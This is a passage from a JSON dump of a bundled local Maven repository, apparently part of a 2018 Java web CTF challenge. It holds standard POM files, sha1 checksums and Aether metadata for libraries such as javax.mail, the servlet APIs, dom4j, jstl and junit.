<artifactId>commons-digester</artifactId>\n      <version>1.6</version>\n    </dependency>\n    <dependency>\n      <groupId>commons-logging</groupId>\n      <artifactId>commons-logging</artifactId>\n      <version>1.0.4</version>\n    </dependency>\n    <dependency>\n      <groupId>oro</groupId>\n      <artifactId>oro</artifactId>\n      <version>2.0.8</version>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>xml-apis</groupId>\n      <artifactId>xml-apis</artifactId>\n      <version>2.0.2</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <distributionManagement>\n    <repository>\n      <id>default</id>\n      <name>Default Repository</name>\n      <url>file:///www/jakarta.apache.org/builds/jakarta-commons/${pom.artifactId.substring(8)}/</url>\n    </repository>\n    <site>\n      <id>default</id>\n      <name>Default Site</name>\n      <url>scp://people.apache.org//www/jakarta.apache.org/commons/${pom.artifactId.substring(8)}/</url>\n    </site>\n    <status>converted</status>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-validator/commons-validator/1.3.1/commons-validator-1.3.1.pom.sha1",
    "content": "d152f01fb849a11abbc3ef8d7ed0ae8e00b3b226"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/dom4j/dom4j/1.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\ndom4j-1.1.pom>central=\ndom4j-1.1.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/dom4j/dom4j/1.1/dom4j-1.1.jar.sha1",
    "content": "0690b3108a502c8f033ea87e7278aec309ffa668"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/dom4j/dom4j/1.1/dom4j-1.1.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>dom4j</groupId>\n  <artifactId>dom4j</artifactId>\n  <version>1.1</version>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/dom4j/dom4j/1.1/dom4j-1.1.pom.sha1",
    "content": "5e401c1611e45fb0d472073d394f891fadc99fa6  /home/projects/maven/repository-staging/to-ibiblio/maven2/dom4j/dom4j/1.1/dom4j-1.1.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/activation/activation/1.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\nactivation-1.1.jar>central=\nactivation-1.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/activation/activation/1.1/activation-1.1.jar.sha1",
    "content": "e6cb541461c2834bdea3eb920f1884d1eb508b50  -\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/activation/activation/1.1/activation-1.1.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>javax.activation</groupId>\n  <artifactId>activation</artifactId>\n  <version>1.1</version>\n  <name>JavaBeans Activation Framework (JAF)</name>\n  <description>\n    JavaBeans Activation Framework (JAF) is a standard extension to the Java platform that lets you take advantage of standard services to: determine the type of an arbitrary piece of data; encapsulate access to it; discover the operations available on it; and instantiate the appropriate bean to perform the operation(s).\n  </description>\n  <url>http://java.sun.com/products/javabeans/jaf/index.jsp</url>\n\n  <licenses>\n    <license>\n      <name>Common Development and Distribution License (CDDL) v1.0</name>\n      <url>https://glassfish.dev.java.net/public/CDDLv1.0.html</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <distributionManagement>\n    <downloadUrl>https://maven-repository.dev.java.net/nonav/repository/javax.activation/jars/activation-1.1.jar</downloadUrl>\n  </distributionManagement>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/activation/activation/1.1/activation-1.1.pom.sha1",
    "content": "fd9dd0faa8f03f3ce0dc4eec22e57e818d8b9897  -\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/mail/mail/1.4.7/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\nmail-1.4.7.pom>central=\nmail-1.4.7.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/mail/mail/1.4.7/mail-1.4.7.jar.sha1",
    "content": "9add058589d5d85adeb625859bf2c5eeaaedf12d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/mail/mail/1.4.7/mail-1.4.7.pom",
    "content": "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>\n<!--\n\n    DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS HEADER.\n\n    Copyright (c) 1997-2011 Oracle and/or its affiliates. All rights reserved.\n\n    The contents of this file are subject to the terms of either the GNU\n    General Public License Version 2 only (\"GPL\") or the Common Development\n    and Distribution License(\"CDDL\") (collectively, the \"License\").  You\n    may not use this file except in compliance with the License.  You can\n    obtain a copy of the License at\n    https://glassfish.dev.java.net/public/CDDL+GPL_1_1.html\n    or packager/legal/LICENSE.txt.  See the License for the specific\n    language governing permissions and limitations under the License.\n\n    When distributing the software, include this License Header Notice in each\n    file and include the License file at packager/legal/LICENSE.txt.\n\n    GPL Classpath Exception:\n    Oracle designates this particular file as subject to the \"Classpath\"\n    exception as provided by Oracle in the GPL Version 2 section of the License\n    file that accompanied this code.\n\n    Modifications:\n    If applicable, add the following below the License Header, with the fields\n    enclosed by brackets [] replaced by your own identifying information:\n    \"Portions Copyright [year] [name of copyright owner]\"\n\n    Contributor(s):\n    If you wish your version of this file to be governed by only the CDDL or\n    only the GPL Version 2, indicate your decision by adding \"[Contributor]\n    elects to include this software in this distribution under the [CDDL or GPL\n    Version 2] license.\"  If you don't indicate a single choice of license, a\n    recipient has the option to distribute your version of this file under\n    either the CDDL, the GPL Version 2 or to extend the choice of license to\n    its licensees as provided above.  However, if you add GPL Version 2 code\n    and therefore, elected the GPL Version 2 license, then the option applies\n    only if the new code is made subject to such option by the copyright\n    holder.\n\n-->\n\n<!--\n    This project creates a jar file using the old name (mail.jar),\n    the old groupId:artifactId, etc.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0\n\t\t\t    http://maven.apache.org/maven-v4_0_0.xsd\">\n    <parent>\n\t<groupId>com.sun.mail</groupId>\n\t<artifactId>all</artifactId>\n\t<version>1.4.7</version>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>javax.mail</groupId>\n    <artifactId>mail</artifactId>\n    <packaging>jar</packaging>\n    <name>JavaMail API (compat)</name>\n\n    <properties>\n\t<!-- override the OSGi Bundle-SymbolicName -->\n\t<mail.bundle.symbolicName>\n\t    javax.mail\n\t</mail.bundle.symbolicName>\n\t<!-- rest copied from mail/pom.xml -->\n\t<mail.extensionName>\n\t    javax.mail\n\t</mail.extensionName>\n\t<mail.specificationTitle>\n\t    JavaMail(TM) API Design Specification\n\t</mail.specificationTitle>\n\t<mail.implementationTitle>\n\t    javax.mail\n\t</mail.implementationTitle>\n\t<mail.packages.export>\n\t    javax.mail.*; version=${mail.spec.version},\n\t    com.sun.mail.imap; version=${mail.osgiversion},\n\t    com.sun.mail.imap.protocol; version=${mail.osgiversion},\n\t    com.sun.mail.iap; version=${mail.osgiversion},\n\t    com.sun.mail.pop3; version=${mail.osgiversion},\n\t    com.sun.mail.smtp; version=${mail.osgiversion},\n\t    com.sun.mail.util; version=${mail.osgiversion},\n\t    com.sun.mail.util.logging; version=${mail.osgiversion},\n\t    com.sun.mail.handlers; version=${mail.osgiversion}\n\t</mail.packages.export>\n\t<mail.probeFile>\n\t    META-INF/gfprobe-provider.xml\n\t</mail.probeFile>\n    </properties>\n\n    <build>\n        <plugins>\n\t    <plugin>\n\t\t<artifactId>maven-dependency-plugin</artifactId>\n\t\t<executions>\n\t\t    <execution>\n\t\t\t<!-- download the binaries -->\n\t\t\t<id>get-binaries</id>\n\t\t\t<phase>process-sources</phase>\n\t\t\t<goals>\n\t\t\t    <goal>unpack</goal>\n\t\t\t</goals>\n\t\t    </execution>\n\t\t    <execution>\n\t\t\t<!-- download the sources -->\n\t\t\t<id>get-sources</id>\n\t\t\t<phase>process-sources</phase>\n\t\t\t<goals>\n\t\t\t    <goal>unpack</goal>\n\t\t\t</goals>\n\t\t\t<configuration>\n\t\t\t    <artifactItems>\n\t\t\t\t<artifactItem>\n\t\t\t\t    <groupId>com.sun.mail</groupId>\n\t\t\t\t    <artifactId>javax.mail</artifactId>\n\t\t\t\t    <version>${mail.version}</version>\n\t\t\t\t    <classifier>sources</classifier>\n\t\t\t\t    <outputDirectory>\n\t\t\t\t\t${project.build.directory}/sources\n\t\t\t\t    </outputDirectory>\n\t\t\t\t</artifactItem>\n\t\t\t    </artifactItems>\n\t\t\t</configuration>\n\t\t    </execution>\n\t\t</executions>\n\t\t<configuration>\n\t\t    <artifactItems>\n\t\t\t<artifactItem>\n\t\t\t    <groupId>com.sun.mail</groupId>\n\t\t\t    <artifactId>javax.mail</artifactId>\n\t\t\t    <version>${mail.version}</version>\n\t\t\t</artifactItem>\n\t\t    </artifactItems>\n\t\t    <outputDirectory>\n\t\t\t${project.build.outputDirectory}\n\t\t    </outputDirectory>\n\t\t    <excludes>\n\t\t\tMETA-INF/maven/**\n\t\t    </excludes>\n\t\t</configuration>\n\t    </plugin>\n\t    <plugin>\n\t\t<artifactId>maven-jar-plugin</artifactId>\n\t\t<configuration>\n\t\t    <finalName>${project.artifactId}</finalName>\n\t\t    <archive>\n\t\t\t<manifestFile>\n\t\t\t  ${project.build.outputDirectory}/META-INF/MANIFEST.MF\n\t\t\t</manifestFile>\n\t\t    </archive>\n\t\t</configuration>\n\t    </plugin>\n        </plugins>\n    </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/mail/mail/1.4.7/mail-1.4.7.pom.sha1",
    "content": "595a58508006f4a0db61483050d8537e093247f6"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/javax.servlet-api/3.0.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:05 CST 2018\njavax.servlet-api-3.0.1.jar>central=\njavax.servlet-api-3.0.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/javax.servlet-api/3.0.1/javax.servlet-api-3.0.1.jar.sha1",
    "content": "6bf0ebb7efd993e222fc1112377b5e92a13b38dd"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/javax.servlet-api/3.0.1/javax.servlet-api-3.0.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n\n    DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS HEADER.\n\n    Copyright (c) 1997-2011 Oracle and/or its affiliates. All rights reserved.\n\n    The contents of this file are subject to the terms of either the GNU\n    General Public License Version 2 only (\"GPL\") or the Common Development\n    and Distribution License(\"CDDL\") (collectively, the \"License\").  You\n    may not use this file except in compliance with the License.  You can\n    obtain a copy of the License at\n    https://glassfish.dev.java.net/public/CDDL+GPL_1_1.html\n    or packager/legal/LICENSE.txt.  See the License for the specific\n    language governing permissions and limitations under the License.\n\n    When distributing the software, include this License Header Notice in each\n    file and include the License file at packager/legal/LICENSE.txt.\n\n    GPL Classpath Exception:\n    Oracle designates this particular file as subject to the \"Classpath\"\n    exception as provided by Oracle in the GPL Version 2 section of the License\n    file that accompanied this code.\n\n    Modifications:\n    If applicable, add the following below the License Header, with the fields\n    enclosed by brackets [] replaced by your own identifying information:\n    \"Portions Copyright [year] [name of copyright owner]\"\n\n    Contributor(s):\n    If you wish your version of this file to be governed by only the CDDL or\n    only the GPL Version 2, indicate your decision by adding \"[Contributor]\n    elects to include this software in this distribution under the [CDDL or GPL\n    Version 2] license.\"  If you don't indicate a single choice of license, a\n    recipient has the option to distribute your version of this file under\n    either the CDDL, the GPL Version 2 or to extend the choice of license to\n    its licensees as provided above.  However, if you add GPL Version 2 code\n    and therefore, elected the GPL Version 2 license, then the option applies\n    only if the new code is made subject to such option by the copyright\n    holder.\n\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <parent>\n        <groupId>net.java</groupId>\n        <artifactId>jvnet-parent</artifactId>\n        <version>1</version>\n    </parent>\n\n    <groupId>javax.servlet</groupId>\n    <artifactId>javax.servlet-api</artifactId>\n    <packaging>jar</packaging>\n    <version>3.0.1</version>\n\n    <properties>\n        <extension.name>javax.servlet</extension.name>\n        <bundle.symbolicName>javax.servlet-api</bundle.symbolicName>\n        <spec.title>Java(TM) Servlet API Design Specification</spec.title>\n        <spec.version>3.0</spec.version>\n        <vendor.name>Oracle</vendor.name>\n        <findbugs.version>2.3.1</findbugs.version>\n        <findbugs.exclude />\n        <findbugs.threshold>High</findbugs.threshold>\n    </properties>\n    <name>Java Servlet API</name>\n    \n    <url>http://servlet-spec.java.net</url>\n\n    <developers>\n        <developer>\n            <id>mode</id>\n            <name>Rajiv Mordani</name>\n            <url>http://weblogs.java.net/blog/mode</url>\n            <organization>Oracle</organization>\n            <roles>\n                <role>lead</role>\n            </roles>\n        </developer>\n        <developer>\n            <id>swchan2</id>\n            <name>Shing Wai Chan</name>\n            <url>http://weblogs.java.net/blog/swchan2</url>\n            <organization>Oracle</organization>\n            <roles>\n                <role>lead</role>\n                <role>developer</role>\n            </roles>\n        </developer>\n    </developers>\n\n    <organization>\n        <name>GlassFish Community</name>\n        <url>https://glassfish.dev.java.net</url>\n    </organization>\n    <licenses>\n        <license>\n            <name>CDDL + GPLv2 with classpath exception</name>\n            <url>https://glassfish.dev.java.net/nonav/public/CDDL+GPL.html</url>\n            <distribution>repo</distribution>\n            <comments>A business-friendly OSS license</comments>\n        </license>\n    </licenses>\n    <issueManagement>\n        <system>jira</system>\n        <url>http://java.net/jira/browse/SERVLET_SPEC</url>\n    </issueManagement>\n    <mailingLists>\n        <mailingList>\n            <name>Servlet Developer</name>\n            <archive>users@servlet-spec.java.net</archive>\n        </mailingList>\n    </mailingLists>\n    <scm>\n        <connection>scm:svn:svn+ssh://janey@svn.java.net/glassfish~svn/tags/javax.servlet-api-3.0.1</connection>\n        <developerConnection>scm:svn:svn+ssh://janey@svn.java.net/glassfish~svn/tags/javax.servlet-api-3.0.1</developerConnection>\n        <url>https://svn.java.net/svn/glassfish~svn/tags/javax.servlet-api-3.0.1</url>\n    </scm>\n\n    <build>\n        <plugins>\n            <plugin>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <configuration>\n                    <source>1.5</source>\n                    <target>1.5</target>\n                    <compilerArgument>-Xlint:unchecked</compilerArgument>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.felix</groupId>\n                <artifactId>maven-bundle-plugin</artifactId>\n                <version>1.4.3</version>\n                <configuration>\n                    <supportedProjectTypes>\n                        <supportedProjectType>jar</supportedProjectType>\n                    </supportedProjectTypes>\n                    <instructions>\n                        <Export-Package>${extension.name}.*; version=${spec.version}</Export-Package>\n                        <Bundle-SymbolicName>${bundle.symbolicName}</Bundle-SymbolicName>\n                        <_include>-osgi.bundle</_include>\n                    </instructions>\n                </configuration>\n                <executions>\n                    <execution>\n                        <id>bundle-manifest</id>\n                        <phase>process-classes</phase>\n                        <goals>\n                            <goal>manifest</goal>\n                        </goals>\n                    </execution>\n                </executions>\n             </plugin>\n             <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-jar-plugin</artifactId>\n                <configuration>\n                    <archive>\n                        <!-- Use the manifest.mf produced by maven-bundle-plugin:manifest -->\n                        <manifestFile>${project.build.outputDirectory}/META-INF/MANIFEST.MF</manifestFile>\n                        <manifestEntries>\n                            <Extension-Name>${extension.name}</Extension-Name>\n                            <Specification-Title>${spec.title}</Specification-Title>\n                            <Specification-Version>${spec.version}</Specification-Version>\n                            <Specification-Vendor>${vendor.name}</Specification-Vendor>\n                            <!--Implementation-Title>${implementationTitle}</Implementation-Title-->\n                            <Implementation-Version>${project.version}</Implementation-Version>\n                            <Implementation-Vendor>${project.organization.name}</Implementation-Vendor>\n                            <Implementation-Vendor-Id>org.glassfish</Implementation-Vendor-Id>\n                        </manifestEntries>\n                    </archive>\n                </configuration>    \n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-remote-resources-plugin</artifactId>\n                <version>1.2.1</version>\n                <executions>\n                  <execution>\n                    <goals>\n                      <goal>process</goal>\n                    </goals>\n                    <configuration>\n                      <resourceBundles>\n                        <resourceBundle>org.glassfish:legal:1.1</resourceBundle>\n                      </resourceBundles>\n                    </configuration>\n                  </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-source-plugin</artifactId>\n                <version>2.1</version>\n                <configuration>\n                    <includePom>true</includePom>\n                </configuration>\n                <executions>\n                    <execution>\n                       <id>attach-sources</id>\n                       <goals>\n                           <goal>jar-no-fork</goal> \n                       </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-javadoc-plugin</artifactId>\n                <executions>\n                    <execution>\n                        <phase>javadoc</phase>\n                        <goals>\n                            <goal>javadoc</goal>\n                        </goals>\n                        <configuration>\n                            <groups>\n                                <group>\n                                    <title>Servlet API Documentation</title>\n                                    <packages>javax.servlet</packages>\n                                </group>\n                            </groups>\n                            <bottom>Portions Copyright &amp;copy; 1999-2002 The Apache Software Foundation.  All Rights Reserved. Portions Copyright &amp;copy; 2005-2011 Oracle and/or its affiliates.  All Rights Reserve</bottom>\n                        </configuration>\n                    </execution>\n                </executions>\n            </plugin>     \n            <plugin>\n                <groupId>org.codehaus.mojo</groupId>\n                <artifactId>findbugs-maven-plugin</artifactId>\n                <version>${findbugs.version}</version>\n                <configuration>\n                    <threshold>${findbugs.threshold}</threshold>\n                    <excludeFilterFile>${findbugs.exclude}</excludeFilterFile>\n                    <findbugsXmlOutput>true</findbugsXmlOutput>\n                    <findbugsXmlWithMessages>true</findbugsXmlWithMessages>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-release-plugin</artifactId>\n                <configuration>\n                    <mavenExecutorId>forked-path</mavenExecutorId>\n                    <useReleaseProfile>false</useReleaseProfile>\n                    <arguments>${release.arguments}</arguments>\n                </configuration>\n            </plugin>\n        </plugins>\n        <resources>\n            <resource>\n                <directory>src/main/java</directory>\n                <includes>\n                    <include>**/*.properties</include>\n                    <include>**/*.html</include>\n                </includes>\n            </resource>\n            <resource>\n                <directory>src/main/resources</directory>\n                <excludes>\n                    <exclude>META-INF/README</exclude>\n                </excludes>\n            </resource>\n        </resources>\n    </build>\n    <reporting>\n        <plugins>\n            <plugin>\n                <groupId>org.codehaus.mojo</groupId>\n                <artifactId>findbugs-maven-plugin</artifactId>\n                <version>${findbugs.version}</version>\n                <configuration>\n                    <threshold>${findbugs.threshold}</threshold>\n                    <excludeFilterFile>${findbugs.exclude}</excludeFilterFile>\n                </configuration>\n            </plugin>\n        </plugins>\n    </reporting>\n    <!-- for downloading org.glassfish:legal:1.1 resource bundle      -->\n    <!-- referenced in maven-remote-resources-plugin.  Will           -->\n    <!-- remove the repositories element once org.glassfish:legal:1.1 -->\n    <!-- is available in the central repo.                                      -->\n    <repositories>\n        <repository>\n            <id>glassfish-repository</id>\n            <url>http://download.java.net/maven/glassfish</url>\n            <snapshots>\n                <updatePolicy>never</updatePolicy>\n            </snapshots>\n        </repository>\n    </repositories>\n\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/javax.servlet-api/3.0.1/javax.servlet-api-3.0.1.pom.sha1",
    "content": "992273c71fb14b78cd29052188857b446aa157d5"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/servlet-api/2.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:21 CST 2018\nservlet-api-2.3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/servlet-api/2.3/servlet-api-2.3.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>javax.servlet</groupId>\n  <artifactId>servlet-api</artifactId>\n  <version>2.3</version>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/servlet-api/2.3/servlet-api-2.3.pom.sha1",
    "content": "5a7b9bcc0517b8fc785f306518b66616d9339548  /home/projects/maven/repository-staging/to-ibiblio/maven2/javax/servlet/servlet-api/2.3/servlet-api-2.3.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/servlet-api/2.5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nservlet-api-2.5.jar>central=\nservlet-api-2.5.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/servlet-api/2.5/servlet-api-2.5.jar.sha1",
    "content": "5959582d97d8b61f4d154ca9e495aafd16726e34"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/servlet-api/2.5/servlet-api-2.5.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>javax.servlet</groupId>\n  <artifactId>servlet-api</artifactId>\n  <version>2.5</version>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/servlet-api/2.5/servlet-api-2.5.pom.sha1",
    "content": "a159fa05cce714c83deff647655dd53db064b21c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/servlet-api/3.0-alpha-1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:05 CST 2018\nservlet-api-3.0-alpha-1.pom>central=\nservlet-api-3.0-alpha-1.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/servlet-api/3.0-alpha-1/servlet-api-3.0-alpha-1.jar.sha1",
    "content": "7b491267924e8c81f4f9378caba0ee03423948ca"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/servlet-api/3.0-alpha-1/servlet-api-3.0-alpha-1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!-- \n/* \n* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS HEADER. \n* \n* Copyright 1997-2007 Sun Microsystems, Inc. All rights reserved. \n* \n* The contents of this file are subject to the terms of either the GNU \n* General Public License Version 2 only (\"GPL\") or the Common Development \n* and Distribution License(\"CDDL\") (collectively, the \"License\").  You \n* may not use this file except in compliance with the License. You can obtain \n* a copy of the License at https://glassfish.dev.java.net/public/CDDL+GPL.html \n* or glassfish/bootstrap/legal/LICENSE.txt.  See the License for the specific \n* language governing permissions and limitations under the License. \n* \n* When distributing the software, include this License Header Notice in each \n* file and include the License file at glassfish/bootstrap/legal/LICENSE.txt. \n* Sun designates this particular file as subject to the \"Classpath\" exception \n* as provided by Sun in the GPL Version 2 section of the License file that \n* accompanied this code.  If applicable, add the following below the License \n* Header, with the fields enclosed by brackets [] replaced by your own \n* identifying information: \"Portions Copyrighted [year] \n* [name of copyright owner]\" \n* \n* Contributor(s): \n* \n* If you wish your version of this file to be governed by only the CDDL or \n* only the GPL Version 2, indicate your decision by adding \"[Contributor] \n* elects to include this software in this distribution under the [CDDL or GPL \n* Version 2] license.\"  If you don't indicate a single choice of license, a \n* recipient has the option to distribute your version of this file under \n* either the CDDL, the GPL Version 2 or to extend the choice of license to \n* its licensees as provided above.  However, if you add GPL Version 2 code \n* and therefore, elected the GPL Version 2 license, then the option applies \n* only if the new code is made subject to such option by the copyright \n* holder. \n*/ \n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\t<parent>\n\t\t<groupId>org.glassfish.api</groupId>\n\t\t<artifactId>api</artifactId>    \n\t\t<version>1</version>\n\t\t<relativePath>../pom.xml</relativePath>    \n\t</parent>   \n    <modelVersion>4.0.0</modelVersion>\n    <groupId>javax.servlet</groupId>\n    <artifactId>servlet-api</artifactId>\n    <packaging>jar</packaging>\n    <version>3.0-alpha-1</version>\n    <name>JavaServlet(TM) Specification</name>\n    <url>http://jcp.org/en/jsr/detail?id=315</url>\n    \n    <developers>\n        <developer>\n            <id>mode</id>\n            <name>Rajiv Mordani</name>\n\t\t\t<url>http://weblogs.java.net/blog/mode</url>\n            <organization>Sun Microsystems, Inc.</organization>\n            <roles>\n                <role>lead</role>\n            </roles>\n        </developer>\n    </developers>\n\n    <build>\n    <plugins>\n    \t<plugin>\n\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t<artifactId>maven-javadoc-plugin</artifactId>\n\t\t\t\t<executions>\n\t\t\t\t  <execution>\n\t\t\t\t\t<phase>javadoc</phase>\n\t\t\t\t\t<goals>\n\t\t\t\t\t\t<goal>javadoc</goal>\n\t\t\t\t\t</goals>\n\t\t\t\t\t<configuration>\n\t\t\t\t\t  <groups>\n\t\t\t\t\t\t<group>\n\t\t\t\t\t\t  <title>Servlet API Documentation</title>\n\t\t\t\t\t\t  <packages>javax.servlet</packages>\n\t\t\t\t\t\t</group>\n\t\t\t\t\t  </groups>\n\t\t\t\t\t  <bottom>Portions Copyright &amp;copy; 1999-2002 The Apache Software Foundation.  All Rights Reserved. Portions Copyright &amp;copy; 2005-2006 Sun Microsystems Inc.  All Rights Reserve</bottom>\n\t\t\t\t\t</configuration>\n\t\t\t\t  </execution>\n\t\t\t\t</executions>\n\t\t  </plugin>     \n      </plugins>\n        <resources>\n            <resource>\n                <directory>src/main/java</directory>\n            </resource>\n        </resources>\n    </build>\n\n  <scm>\n    <connection>scm:svn:https://kohsuke@svn.dev.java.net/svn/glassfish-svn/tags/servlet-api-3.0-alpha-1</connection>\n    <developerConnection>scm:svn:https://kohsuke@svn.dev.java.net/svn/glassfish-svn/tags/servlet-api-3.0-alpha-1</developerConnection>\n  </scm>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/servlet-api/3.0-alpha-1/servlet-api-3.0-alpha-1.pom.sha1",
    "content": "eeb3a955b530aa4deedd0ec7146813e20ab67a9b"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/jstl/jstl/1.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:05 CST 2018\njstl-1.2.jar>central=\njstl-1.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/jstl/jstl/1.2/jstl-1.2.jar.sha1",
    "content": "74aca283cd4f4b4f3e425f5820cda58f44409547\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/jstl/jstl/1.2/jstl-1.2.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>jstl</groupId>\n  <artifactId>jstl</artifactId>\n  <version>1.2</version>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/jstl/jstl/1.2/jstl-1.2.pom.sha1",
    "content": "80e26c0f726d948e7d404b96b229c16f2ab8324a\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/3.8.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:44 CST 2018\njunit-3.8.1.jar>central=\njunit-3.8.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/3.8.1/junit-3.8.1.jar.sha1",
    "content": "99129f16442844f6a4a11ae22fbbee40b14d774f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/3.8.1/junit-3.8.1.pom",
